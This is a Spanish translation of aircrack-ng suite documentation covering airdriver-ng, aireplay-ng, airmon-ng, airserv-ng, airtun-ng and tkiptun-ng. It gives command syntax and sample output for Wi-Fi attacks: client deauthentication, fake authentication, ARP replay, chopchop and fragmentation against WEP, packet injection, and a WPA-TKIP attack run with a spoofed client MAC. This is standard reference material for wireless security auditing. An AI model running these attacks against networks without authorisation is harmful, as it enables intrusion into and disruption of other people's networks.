En este ejemplo, no hay drivers compilados dentro del kernel.
Comando installed

Escribe:

airdriver-ng installed

El sistema responderá:

Found following stacks installed:
0. IEEE80211
1. IEEE80211 Softmac
2. mac80211
Found following drivers installed:
1. Broadcom 4300 - IEEE80211
2. HostAP - IEEE80211
3. Intel Pro Wireless 2100 B - IEEE80211
4. Intel Pro Wireless 2200 B/G - IEEE80211
6. Madwifi[-ng] - IEEE80211
7. Prism54 - IEEE80211
9. Realtek rtl8187 - custom
13. Ralink rt73 - IEEE80211 Softmac
18. Intel Pro Wireless 3945 A/B/G - raw mode - mac80211


Presta atención al número delante de cada driver. Estos son los números que necesitarás para el comando “load” y cargar el driver.
Comando loaded

Escribe:

airdriver-ng loaded

El sistema responderá:

Found following stacks loaded (as module):
Found following drivers loaded (as module):
6. Madwifi[-ng] - IEEE80211
9. Realtek rtl8187 - custom
13. Ralink rt73 - IEEE80211 Softmac


Presta atención al número delante de cada driver. Estos son los números que necesitarás para el comando “load” y cargar el driver.
Comando load

Escribe:

airdriver-ng load 13

Donde:

13 es el número del driver obtenido del comando installed.


El sistema responderá:

Driver "Ralink rt73" specified for loading.
Loaded driver "Ralink rt73" successfully


Comando unload

Escribe:

airdriver-ng unload 13

Donde:

13 es el número del driver obtenido de la salida del comando “loaded”.


El sistema responderá:

Driver "Ralink rt73" specified for unloading.
Unloaded driver "Ralink rt73" successfully


Comando install

Escribe:

airdriver-ng install 9

Donde:

9 es el número del driver obtenido de la salida del comando “supported”.


El sistema responderá:

Driver "Realtek rtl8187" specified for installation.
1. Getting the source...
2. Extracting the source...
3. Getting the patch...
4. Patching the source...
5. Compiling the driver...
6. Installing the driver...
Running "depmod -ae"...
Installed driver "Realtek rtl8187" successfully
Loaded driver "Realtek rtl8187" successfully

Comando remove


Escribe:

airdriver-ng remove 13

Donde:

13 es el número del driver obtenido de la salida del comando “installed”.


El sistema responderá:

Driver "Ralink rt73" specified for removing.
Starting to remove "Ralink rt73" driver
rm: remove regular file `/lib/modules/2.6.21-1.3228.fc7/extra/rt73.ko'? y
Running "depmod -ae"...
Removed driver "Ralink rt73" successfully

Comando details


Escribe:

airdriver-ng details 9

Donde:

9 es el número del driver obtenido de la salida del comando “installed”.


El sistema responderá:

Driver details for: "Realtek rtl8187"

Compiled into kernel: No
Installed: YES
Loaded: No

Modules:
r8187

Files:
/lib/modules/2.6.21-1.3228.fc7/kernel/drivers/net/wireless/rtl8187/r8187.ko 2007-07-08 10:19

version: V 1.1
depends: ieee80211-rtl
vermagic: 2.6.21-1.3228.fc7 SMP mod_unload 686 4KSTACKS

For more information see: [[r8187]]

Comando detect


Escribe:

airdriver-ng detect

El sistema responderá:

Found "Realtek rtl8187" device: (r8187)
Bus 001 Device 002: ID 0bda:8187 Realtek Semiconductor Corp.

Found "Madwifi[-ng]" device: (ath_pci)
01:00.0 Ethernet controller: Atheros Communications, Inc. AR5212 802.11abg NIC (rev 01)

USB devices (generic detection):
Bus 001 Device 003: ID 148f:2573 Ralink Technology, Corp.
Bus 001 Device 002: ID 0bda:8187 Realtek Semiconductor Corp
.


Aireplay-ng

Download:
FLVMP43GP


Descripción

Aireplay-ng se usa para inyectar paquetes.

Su función principal es generar tráfico para usarlo más tarde con aircrack-ng y poder crackear claves WEP y WPA-PSK. Hay varios ataques diferentes que se pueden utilizar para hacer deautenticaciones con el objetivo de capturar un handshake WPA, para realizar una falsa autenticación, un reenvio interactivo de un paquete, o una reinyección automática de un ARP-request. Con el programa packetforge-ng es posible crear paquetes “ARP request” de forma arbitraria.

La mayoría de los drivers tienen que estar parcheados para ser capaces de inyectar, no te olvides de leer Installing drivers.
Uso de los ataques

Actualmente se pueden realizar cinco ataques diferentes:

Ataque 0: Deautenticación
Ataque 1: Falsa autenticación
Ataque 2: Selección interactiva del paquete a enviar
Ataque 3: Reinyección de una petición ARP (ARP-request)
Ataque 4: Ataque chopchop
Ataque 5: Ataque de Fragmentación


Uso

Esta sección proporciona un repaso general de todos los ataques. No todas las opciones se aplican a todos los ataques. Mira los detalles de cada ataque para ver todos los parámetros que se pueden usar.

Usa:

aireplay-ng

Para todos los ataques, excepto el de deautenticación y el de falsa autenticación, puedes usar los siguientes filtros para limitar los paquetes que se usarán. El filtro más común es usar la opción ”-b” para seleccionar un punto de acceso determinado.

Opciones de filtro:

-b bssid : Dirección MAC del punto de acceso
-d dmac : Dirección MAC de destino
-s smac : Dirección MAC origen (source)
-m len : Longitud mínima del paquete
-n len : Longitud máxima del paquete
-u type : frame control, type field
-v subt : frame control, subtype field
-t tods : frame control, To DS bit
-f fromds : frame control, From DS bit
-w iswep : frame control, WEP bit


Cuando reenviemos (inyectemos) paquetes, podremos utilizar las siguientes opciones. Recuerda que no todas las opciones se usan en cada ataque. La documentación específica de cada ataque tiene ejemplos con las opciones que se pueden usar.

Opciones de inyeción:

-x nbpps : número de paquetes por segundo
-p fctrl : fijar palabra “frame control” (hexadecimal)
-a bssid : fijar dirección MAC del AP
-c dmac : fijar dirección MAC de destino
-h smac : fijar dirección MAC origen
-e essid : ataque de falsa autenticación: nombre del AP
-j : ataque arp-replay: inyectar paquetes FromDS
-g valor : cambiar tamaño de buffer (default: 8)
-k IP : fijar IP de destino en fragmentos
-l IP : fijar IP de origen en fragmentos
-o npckts : número de paquetes por burst (-1)
-q sec : segundos entre paquetes “sigo aquí” o keep-alives (-1)
-y prga : keystream para autenticación compartida (shared key)


Los ataques pueden obtener los paquetes para reenviarlos de dos orígenes distintos. El primero es un paquete capturado en el mismo momento por la tarjeta wireless. El segundo es de un archivo cap. El formato estandard cap o Pcap (“Packet CAPture”, está relacionado con la libreria libpcap y http://www.tcpdump.org), ess reconozido por la mayoría de los programas comerciales y open-source de captura de tráfico wireless. La capacidad de leer los archivos cap es una característica de aireplay-ng. Esto permite leer paquetes de otra sesión anterior o que se puedan generar archivos pcap para reenviarlos fácilmente.

Opciones de origen:

-i iface : capturar paquetes con esa interface
-r archivo : utilizar paquetes de ese archivo cap


Esta es la forma de especificar el modo de ataque que utilizará el programa. Dependiendo del modo, no todas las opciones descritas se pueden aplicar.

Modos de ataque (Los números también se pueden seguir usando como en versiones anteriores):

- -deauth [número]: deautenticar 1 o todos los clientes (-0)
- -fakeauth [nº repetición]: falsa autenticación con el AP (-1)
- -interactive : selección interactiva del paquete a enviar (-2)
- -arpreplay : estandard reinyección ARP-request (-3)
- -chopchop : desencriptar paquete WEP/chopchop (-4)
- -fragment : generar keystream válido (-5)


Ataque de Fragmentación vs. Chopchop

Aquí exponemos las diferencias entre los ataques de fragmentación y chopchop

Fragmentación

Ventajas

Normalmente se obtiene un paquete entero de una longitud de 1500 bytes xor. Esto significa que podemos crear otro paquete de cualquier tamaño. Incluso en los casos que obtenemos un paquete de menos de 1500 bytes, será suficiente para crear “ARP requests”.
Puede funcionar en situaciones en las que chopchop no lo hace.
Es extremadamente rápido. Se obtiene el xor muy rápido cuando funciona.


Inconvenientes

Se necesita más información para ejecutarlo, (por ejemplo, información acerca de la dirección IP). Aunque con frecuencia se puede adivinar. Y todavía mejor es que aireplay-ng asume que las IPs de origen y destino son 255.255.255.255 si no se especifica nada. De esta forma funcionará bien en la mayoría de los APs. Por lo tanto esto no es un inconveniente muy grande.
Este ataque lo podremos ejecutar dependiendo de si los drivers de nuestra tarjeta lo soportan. Por ejemplo, hoy en dia, Atheros no genera el paquete correcto a menos que cambiemos la dirección MAC de nuestra tarjeta wireless a la misma mac que queremos utilizar.
Se necesita estar físicamente cerca del punto de acceso porque si se pierde algún paquete fallará el ataque.
El ataque fallará en los puntos de acceso que no manejan los paquetes fragmentados de forma adecuada.


Chopchop

Ventajas

Puede funcionar en algunos casos en los que no lo hace el ataque de fragmentación.
No se necesita conocer información acerca de ninguna IP.


Inconvenientes

No se puede usar contra todos los puntos de acceso.
El tamaño máximo del “xor” en bits está limitado por la longitud del paquete contra el que hagas el chopchop. Aunque en teoría se pueden obtener 1500 bytes del xor stream, en la práctica, raramente verás paquetes de 1500 bytes.
Mucho más lento que el ataque de fragmentaci
ón

Problemas de uso

Esto se aplica a todos los modos de aireplay-ng.
Con madwifi-ng, asegúrate de que no hay otras VAPs

Cerciorate de que no has creado varias VAPs. Porque puede haber problemas cuando se crea una nueva VAP en modo monitor y ya hay una VAP en modo managed.

Tienes que parar primero ath0 y reiniciar wifi0:

airmon-ng stop ath0
airmon-ng start wifi0

o

wlanconfig ath0 destroy
wlanconfig ath create wlandev wifi0 wlanmode monitor





Airmon-ng

Descripción

Este script puede usarse para activar el modo monitor de las tarjetas wireless. Tambien puede usarse para parar las interfaces y salir del modo monitor. Si escribimos el comando airmon-ng sin parámetros veremos el estado de nuestras tarjetas.
Uso

usa: airmon-ng [canal]

Donde:

indica si deseas iniciar o parar el modo monitor.(obligatorio)
el nombre de la interface. (obligatorio)
[channel] opcionalmente se puede especificar un número de canal.


Usos típicos

Para iniciar wlan0 en modo monitor: airmon-ng start wlan0

Para iniciar wlan0 en modo monitor en el canal 8: airmon-ng start wlan0 8

Para parar wlan0: airmon-ng stop wlan0

Para ver el estado: airmon-ng

Modo monitor de driver Madwifi-ng

Describimos como poner la interface en modo monitor. Despues de encender tu ordenador, escribe en una consola el comando “iwconfig” para ver el estado actual de tus tarjetas wireless. Verás algo similar a la siguiente salida:

lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.

ath0 IEEE 802.11b ESSID:"" Nickname:""
Mode:Managed Channel:0 Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:0 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0


Si quieres usar la interface ath0 (que ya está siendo usada en modo managed):

airmon-ng stop ath0


Y el sistema responderá:

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)


Ahora, si escribes “iwconfig”:

lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.


Puedes ver que ya no existe ath0.

Para iniciar ath0 en modo monitor: airmon-ng start wifi0

Y el sistema responderá:

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)


Y si ahora escribimos “iwconfig”

lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.

ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.457 GHz Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:15 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-98 dBm Noise level=-98 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0


Observamos que ath0 está en modo monitor.

Si ath1/ath2 etc. están funcionando en modo managed, tienes que pararlas primero con la opción stop, por ejemplo:

airmon-ng stop ath1

Y despues recuerda que puedes indicar el número del canal añadiéndolo al final del comando: airmon-ng start wifi0 9
Recomendaciones de uso

Para confirmar que la tarjeta está en modo monitor, escribe “iwconfig”. Así verás el nombre de la interface y si está activado el modo “monitor”.

Para el driver madwifi-ng, la información del punto de acceso que muestra iwconfig es la dirección MAC de la tarjeta wireless.

Si quieres capturar paquetes de un punto de acceso concreto, el canal actual de la tarjeta debe ser el mismo que el del AP. En este caso, es una buena idea incluir el número de canal cuando ejecutes el comando airmon-ng.



Airserv-ng

Descripción

Airserv-ng es un servidor para tarjetas wireless que permite múltiples aplicaciones y usar programas wireless independientemente de la tarjeta y del driver, a través de una conexión de red TCP cliente-servidor. Todos los sistemas operativos y drivers de las tarjetas wireless están incorporados dentro del servidor. Esto elimina la necesidad de que cada aplicación wireless contenga los datos de la tarjeta y del driver. Tambien soporta múltiples sistemas operativos.

Cuando se inicia el servidor, escucha en una IP y en un número de puerto TCP específicos por las conexiones de los clientes. La aplicación wireless entonces se comunica con el servidor a través de la dirección IP y el número de puerto. Cuando usemos la suite aircrack-ng, especificaremos ” dos puntos ” en lugar del nombre de la interface. Un ejemplo puede ser 127.0.0.1:666.

Esto permite interesantes posibilidades:

Eliminado la complejidad de los nombres de las tarjetas wireless y sus drivers, los desarrolladores de software se podrán concentrar en las funcionalidades de los programas. Esto permitirá que estén disponibles un mayor número de aplicaciones. Tambien se reducen de forma importante los esfuerzos de mantenimiento.
Sensores remotos serán de esta forma fáciles de implementar. Solo una tarjeta wireless y airserv-ng se requieren para ejecutar en un sensor remoto. Esto significa que se pueden crear pequeños sistemas empotrados de forma fácil.
Puedes mezclar y compartir varios sistemas operativos. El servidor y cada una de las aplicaciones pueden potencialmente ejecutarse en diferentes sistemas operativos.
Algunas tarjetas wireless no permiten ejecutar múltiples aplicaciones al mismo tiempo. Este contratiempo se elimina ahora con este nuevo sistema cliente-servidor.
Usando una red TCP, el cliente y el servidor pueden encontrarse en diferentes partes del mundo. Con que solo dispongas de una conexión de red, funcionará.


Uso: airserv-ng

Donde:

-p Puerto TCP a escuchar. Por defecto se usa el 666.
-d interface wifi usada como servidor.
-c Canal.
-v debug level


Debug Levels

Hay 3 “debug levels” o niveles de información. Debug level 1 es el que se usa por defecto si no incluimos la opción ”-v”.

Debug level 1

Contenido: Muestra mensajes de conexión y desconexión.

Ejemplo: Connect from 127.0.0.1 Death from 127.0.0.1

Debug level 2

Contenido: Además de los mensajes del “debug level” 1, muestra las solicitudes de cambios de canal y las peticiones de los clientes. Las solicitudes de cambio de canal indican el canal que el cliente está utilizando.

Ejemplo: [127.0.0.1] Got setchan 9 [127.0.0.1] handle_client: net_get()

Debug level 3

Contenido: Muestra un mensaje cada vez que se envía un paquete al cliente. Tambien se indica el tamaño del paquete. Además tambien se mostrarán los mensajes de los niveles 1 y 2.

Ejemplo: [127.0.0.1] Sending packet 97 [127.0.0.1] Sending packet 97

Ejemplos de uso

Para cualquier uso, primero se debe poner la tarjeta wireless en modo monitor usando airmon-ng u otra técnica similar.
Máquina local

En este escenario todos los componentes se ejecutan en el mismo sistema.

Inicia el programa con:

airserv-ng -d ath0

Donde:

-d ath0 es la tarjeta wireless. Especifica la interface de tu tarjeta en particular.


El sistema responderá:

Opening card ath0
Setting chan 1
Opening sock port 666
Serving ath0 chan 1 on port 666


A partir de ahora puedes usar cualquiera de los programas de la suite aircrack-ng y especificar “127.0.0.1:666” en lugar de el nombre de la interface wireless. El servidor se estará ejecutando a través de la dirección IP 127.0.0.1 y del puerto 666. Recuerda que el número de puerto por defecto es el 666.

Ejemplo:

airodump-ng 127.0.0.1:666


Comenzará a escanear en busca de redes wireless.
Máquina remota

En este escenario el servidor está corriendo en un sistema con una dirección IP 192.168.0.1 y las aplicaciones (airodump-ng, aireplay-ng, …) en otro sistema.

Inicia el programa con:

airserv-ng -d ath0

Donde:

-d ath0 es la tarjeta wireless. Especifica la interface de tu tarjeta en particular.


El sistema responderá:

Opening card ath0
Setting chan 1
Opening sock port 666
Serving ath0 chan 1 on port 666


A partir de ahora puedes usar cualquiera de los programas de la suite aircrack-ng en el segundo sistema y especificar “192.168.0.1:666” en lugar del nombre de la interface wireless. 192.168.0.1 es la dirección IP del servidor y 666 es el número de puerto en el que el servidor se está ejecutando. Recuerda que 666 es el puerto por defecto.

En el segundo sistema, podrías escribir “airodump-ng 192.168.0.1:666” para comenzar a escanear en busca de redes wireless. Tambien se pueden ejecutar otras aplicaciones de la suite aircrack-ng en tantos otros sistemas como se quieran, simplemente especificando “192.168.0.1:666”.

Ejemplo:

airodump-ng -c 6 192.168.0.1:666

Problemas de uso

¿Está tu tarjeta en modo monitor?. Asegurate de que tienes la tarjeta en modo monitor antes de iniciar airserv-ng.

¿Estás conectando con una IP y un número de puerto TCP correctos?. Comprueba estas 2 cosas. Recuerda que el número de puerto por defecto es el 666. Puedes usar aireplay-ng injection test para comprobar la conectividad.

El uso de algún Firewall puede bloquear la comunicación, por lo que asegúrate que está permitido el uso de ese puerto. Esto es aplicable tanto a la máquina en la que se ejecuta airserv-ng como a la del cliente. Cosas a comprobar:

IPTables en sistemas linux.
Firewalls en linux y especiálmente en Windows
Algún firewall entre la red TCP, el cliente y el servidor


Algunos otros programas tambien pueden afectar, como:

Anti-Spyware
Anti-Virus


Para confirmar que airserv-ng se encuentra escuchando en el puerto especificado:

En linux: “netstat -an” o “lsof -i” y mira el número de puerto.




Airtun-ng

Descripción

Airtun-ng sirve para crear interfaces virtuales denominadas “tunnel interface”. Tiene básicamente dos funciones:

Permite monitorizar todo el tráfico encriptado con propósitos wIDS (wireless Intrusion Detection System).
Inyectar de forma arbitraria tráfico en una red.



Para perfeccionar la captura de paquetes wIDS, debes conocer la clave de encriptación y el bssid de la red a monitorizar. Airtun-ng desencripta todo el tráfico de la red y lo pasa al sistema tradicional IDS usado por ejemplo por snort.

La inyección de tráfico puede hacerse bidireccional si conocemos la clave de encriptación completa. y solo podrá ser unidireccional si tenemos un PRGA obtenido a través de chopchop o un ataque de fragmentación. La principal ventaja de airtun-ng respecto a las otras utilidades de la suite aircrack-ng es que no puedes usar cualquier otra herramienta para crear, inyectar o esnifar paquetes.

uso: airtun-ng

-x nbpps : número máximo de paquetes por segundo (opcional)
-a bssid : Fijar dirección MAC del punto de acceso (obligatorio)
-i iface : capturar paquetes desde esta interface (opcional)
-y archivo: leer PRGA de este archivo (opcional / tiene que usarse al menos una de las dos opciones: -y o -w)
-w wepkey : usar esta clave WEP para encriptar los paquetes (opcional / tiene que usarse al menos una de las dos opciones: -y o -w)
-t tods : Enviar paquetes al AP (1) o al cliente (0) (opcional / por defecto es 0)


wIDS

El primer escenario es wIDS. Pon tu tarjeta wireless en modo monitor y escribe el comando:

airtun-ng -a 00:14:6C:7E:40:80 -w 1234567890 ath0

Donde:

-a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso a monitorear
-w 1234567890 es la clave de encriptación
ath0 es la interface que tenemos en modo monitor



El sistema nos contestará:

created tap interface at0
WEP encryption specified. Sending and receiving frames through ath0.
FromDS bit set in all frames.


Date cuenta que se ha creado la interface at0. Abre otra consola o shell y puedes levantar esta interface para poder usarla:

ifconfig at0 up

Esta interface (at0) recivirá una copia de cada paquete wireless que circule por la red. Los paquetes serán desencriptados con la clave que has proporcionado. En este punto, puedes usar algún programa para esnifar y analizar el tráfico. Por ejemplo, tcpdump o snort.
Inyección WEP

El siguiente escenario es cuando quieres inyectar paquetes en una red. Sigue los mismos pasos que en el primer escenario excepto definir una dirección IP válida para la red cuando levantes la interface at0:

ifconfig at0 192.168.1.83 netmask 255.255.255.0 up

Puedes comprobarlo con el comando “ifconfig at0” analizando la salida.

at0 Link encap:Ethernet HWaddr 36:CF:17:56:75:27
inet addr:192.168.1.83 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::34cf:17ff:fe56:7527/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:192 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:25113 (24.5 KiB) TX bytes:516 (516.0 b)


En este punto puedes usar cualquier programa para enviar tráfico a través de la interface at0 a cualquier cliente wireless. Por favor date cuenta de que por defecto FromDS está seleccionado. Lo que significa que los paquetes están marcados para ir a los clientes wireless. Si quieres que la comunicación sea con el AP o con clientes cableados, especifica la opción ”-t 1” cuando inicies airtun-ng.

NOTA IMPORTANTE: Las reglas normales para la inyección se aplican aquí tambien. Por ejemplo, estar asociado con el AP, que la MAC de la tarjeta sea la misma que utilizamos como origen de la inyección, etc.

Un uso interesante de este escenario es que permite usar una red con encriptación WEP utilizando un driver que soporte la inyección, pero no esa encriptación WEP; y hay que tener en cuenta que no todos los drivers soportan claves wep de 256bit o de 512bit o WPA.
Inyección PRGA

El siguiente escenario es aquel caso en el que queremos inyectar paquetes a la red pero no tenemos la clave WEP completa. Solo tenemos el PRGA obtenido a través de un ataque chopchop o de fragmentation. En este caso solo podremos inyectar paquetes salientes o outbound. No hay forma de desencriptar los paquetes entrantes (inbound) ya que no conocemos la clave WEP.

Pon la tarjeta wireless en modo monitor y escribe:

airtun-ng -a 00:14:6C:7E:40:80 -y fragment-0124-153850.xor ath0

Fijate en que el archivo PRGA se ha especificado utilizando la opción ”-y”.

El sistema responde (fijate en el estado “no reception”):

created tap interface at0
WEP encryption by PRGA specified. No reception, only sending frames through ath0.
FromDS bit set in all frames.


A partir de aquí puedes definir una dirección IP válida para la red y levantar la interface at0:

ifconfig at0 192.168.1.83 netmask 255.255.255.0 up

Puedes comprobar esto escribiendo “ifconfig at0”. Ahora puedes usar algún programa para enviar tráfico a través de la interface at0 a los clientes wireless.
Conectándose a dos puntos de acceso

El siguiente escenario es conectarse a dos redes wireless al mismo tiempo. Esto se hace simplemente iniciando airtun-ng dos veces, especificando la dirección MAC o bssid de cada una. Si los dos APs están en el mismo canal, esto debe funcionar a la perfeccción. Si no comparten el mismo canal, puedes escuchar con airodump-ng en ambos canales (no de forma simultanea, pero solo saltando entre esos dos canales). Suponiendo que los dos APs a los que nos queremos conectar están en los canales 1 y 11, escribiriamos “airodump-ng -c 1,11 ath0”.

Conseguiremos dos “tunnel interfaces” (at0 y at1), cada una para un AP. Si no usan el mismo rango de IPs, las podremos usar al mismo tiempo. En teoria, se puede hacer esto incluso para más que dos APs, pero la calidad del enlace será peor ya que habrá que alternar entre 3 o más canales.

Copiar paquetes desde la interface opcional

El siguiente escenario consiste en copiar paquetes desde la interface opcional. El parámetro -i es igual al parámetro -i de aireplay-ng. Se usa para especificar un origen distinto desde el que leer los paquetes, otra tarjeta diferente a la que usaremos para inyectar (ath0 en nuestro ejemplo). Un uso típico es escuchar con una tarjeta con muy buena sensibilidad en una interface; e inyectar con otra tarjeta con gran potencia de transmisión, que tienen mucha menos sensibilidad.
Pistas de uso

Esta utilidad es muy poderosa y utiliza conceptos avanzados. Por favor asegurate de que tienes conocimientos y experiencia suficiente con las otras utilidades de la suite aircrack-ng antes de usar airtun-ng.



Tkiptun-ng

Descripción

rgb(102, 102, 102)Nota: Esta documentación está una en fase de desarrollo, por favor, chequéela regularmente para obtener las últimas actualizaciones.Si usted tiene alguna información que pueda ampliar esta documentación, por favor, postee sus comentarios en el foro. Forum.

NOTA IMPORTANTE: La Versión SVN de tkiptun-ng, no está trabajando completamente, la fase del ataque final no está implementada. Las otras porciones funcionan adecuadamente con los drivers para ieee802011 de los chips RT73 y RTK8187L. El driver madwifi-ng es definitivamente nulo y se conoce que falla completamente. Tkiptun-ng podría funcionar en otros drivers, pero como no han sido evaluados no se pueden especificar.

Tkiptun-ng es una herramienta creada por Martin Beck, alias HIRTE, un miembro del equipo de aircrack-ng. Esta herramienta está diseñada para inyectar código encriptado en una red WPA-TKIP con QoS. Trabajó con Erik Tews (creador del ataque aircrack-PTW) para una conferencia en PacSec 2008: “Perdido en 900 segundos, Algunas cuestiones de criptografía con WPA”.

Tkiptun-ng es la prueba de la puesta en práctica del concepto de “ataque WPA/TKIP”. Este ataque es descrito en: Practical attacks against WEP and WPA escrito por Martin Beck and Erik Tews. El documento describe los avances en ataques sobre WEP y el primer ataque práctico sobre WPA. Una excelente referencia adicional que explica cómo tkiptun-ng hace “magia” es este artículo técnico de ARS, Maltratadas pero no rotas: Comprender como Crackear WPA por Glenn Fleishman.

Básicamente Tkiptun-ng empieza obteniendo texto plano en un pequeño paquete y del MIC (Message Integrity Check). Esto es posible mediante el ataque por el método chopchop.Una vez que esto está hecho, El algoritmo de Michael, invierte la clave MIC usada para proteger los paquetes enviados desde el Punto de acceso (AP) al Cliente o estación, el cual la puede calcular.

En este momento, tkiptun - ng ha recuperado la clave MIC y conoce un keystram para acceder a la comunicación con el punto cliente. Posteriormente, usando el archivo de XOR, podemos crear nuevos paquetes e inyectarlos. La creación y la inyección son satisfactorias usando el aircrack-ng de la suite de herramientas.

Por favor recuerden que éste es un ataque sumamente avanzado. Usted requiere que un dominio avanzado de Linux y destreza en el uso de aircrack-ng. No espere soporte a menos que pueda demostrar que usted domina esto con destreza.
Requisitos Generales

Ambos, tanto el (AP) como el Cliente deben soportar QoS (Quality of Service), a veces llamado Wi-Fi Multi-media (WMM) en algunos puntos de acceso(AP).

El (AP) debe estar configurado para utilizar WPA implementado con TKIP.

Bastante tiempo para la reinyección, alrrededor de una hora (3600 segundos). Al menos tienen que ser 20 minutos.
Requisitos específicos

La dirección MAC de la tarjeta de Red usada por tkiptun-ng tiene que ser establecida en la dirección del cliente a quien estamos atacando

¿Por qué?

Esta sección es muy preliminar. Cuando tkiptun-ng trabaja, este pasa por varias fases. Las personas preguntan “¿Por que pasa esto?, ¿tal o cual?”. Esta sección intentará responder esas preguntas.

¿Porque es necesario capturar el HandsHake?

Se hace por razones de depuración. Primeramente es necesario para que las claves temporales en tkiptun-ng puedan ser calculadas, en Segundo lugar, para cotejarlo con los valores calculados del paquete de texto plano.

Otra razón es verificar si el AP/Cliente reusan la conexión despues de una desconexión MIC(Código de integridad del mensaje).
Uso

Uso: tkiptun-ng >

Filtro de Opciones:

-d dmac : Dirección MAC de Destino
-s smac : Dirección MAC Fuente
-m len : Mínima longitud del paquete
-n len : Máxima longitud del paquete
-t tods : Control del Frame, a DS bit
-f fromds : Control del frame, de DS bit
-D : Desabilita la detección del AP


Opciones de repetición:

-x nbpps : Número de paquetes por segundo
-a bssid : Establece la dirección MAC del punto de acceso.
-c dmac : Establece la dirección MAC de destino
-h smac : Establece la dirección MAC fuente
-F : Selecciona el primer paquete que coincida.
-e essid : Establece el SSID del AP de destino.


Opciones de depuración:

-K prga : keystream for continuation
-y file : keystream-file for continuation
-j : inject FromDS packets
-P pmk : pmk for verification/vuln testing
-p psk : psk to calculate pmk with essid


Opciones fuente:

-i iface : Captura paquetes de esta interface
-r file : Extrae paquetes de este archivo pcap
--help : Muestra el uso en pantalla


El ejemplo de abajo está imcompleto, pero da una idea de como se vería.

Input:

tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 rausb0

Output:

The interface MAC (00:0E:2E:C5:81:D3) doesn't match the specified MAC (-h).
ifconfig rausb0 hw ether 00:0F:B5:AB:CB:9D
Blub 2:38 E6 38 1C 24 15 1C CF
Blub 1:17 DD 0D 69 1D C3 1F EE
Blub 3:29 31 79 E7 E6 CF 8D 5E
15:06:48 Michael Test: Successful
15:06:48 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
15:06:48 Found specified AP
15:06:48 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs]
15:06:54 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs]
15:06:56 WPA handshake: 00:14:6C:7E:40:80 captured
15:06:56 Waiting for an ARP packet coming from the Client...
Saving chosen packet in replay_src-0305-150705.cap
15:07:05 Waiting for an ARP response packet coming from the AP...
Saving chosen packet in replay_src-0305-150705.cap
15:07:05 Got the answer!
15:07:05 Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.

15:07:25 Offset 99 ( 0% done) | xor = B3 | pt = D3 | 103 frames written in 84468ms
15:08:32 Offset 98 ( 1% done) | xor = AE | pt = 80 | 64 frames written in 52489ms
15:09:45 Offset 97 ( 3% done) | xor = DE | pt = C8 | 131 frames written in 107407ms
15:11:05 Offset 96 ( 5% done) | xor = 5A | pt = 7A | 191 frames written in 156619ms
15:12:07 Offset 95 ( 6% done) | xor = 27 | pt = 02 | 21 frames written in 17221ms
15:13:11 Offset 94 ( 8% done) | xor = D8 | pt = AB | 41 frames written in 33625ms
15:14:12 Offset 93 (10% done) | xor = 94 | pt = 62 | 13 frames written in 10666ms
15:15:24 Offset 92 (11% done) | xor = DF | pt = 68 | 112 frames written in 91829ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:18:13 Offset 91 (13% done) | xor = A1 | pt = E1 | 477 frames written in 391139ms
15:19:32 Offset 90 (15% done) | xor = 5F | pt = B2 | 186 frames written in 152520ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:22:09 Offset 89 (16% done) | xor = 9C | pt = 77 | 360 frames written in 295200ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:26:10 Offset 88 (18% done) | xor = 0D | pt = 3E | 598 frames written in 490361ms
15:27:33 Offset 87 (20% done) | xor = 8C | pt = 00 | 230 frames written in 188603ms
15:28:38 Offset 86 (21% done) | xor = 67 | pt = 00 | 47 frames written in 38537ms
15:29:53 Offset 85 (23% done) | xor = AD | pt = 00 | 146 frames written in 119720ms
15:31:16 Offset 84 (25% done) | xor = A3 | pt = 00 | 220 frames written in 180401ms
15:32:23 Offset 83 (26% done) | xor = 28 | pt = 00 | 75 frames written in 61499ms
15:33:38 Offset 82 (28% done) | xor = 7C | pt = 00 | 141 frames written in 115619ms
15:34:40 Offset 81 (30% done) | xor = 02 | pt = 00 | 19 frames written in 15584ms
15:35:57 Offset 80 (31% done) | xor = C9 | pt = 00 | 171 frames written in 140221ms
15:37:13 Offset 79 (33% done) | xor = 38 | pt = 00 | 148 frames written in 121364ms
15:38:21 Offset 78 (35% done) | xor = 71 | pt = 00 | 84 frames written in 68872ms
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:40:55 Offset 77 (36% done) | xor = 8E | pt = 00 | 328 frames written in 268974ms
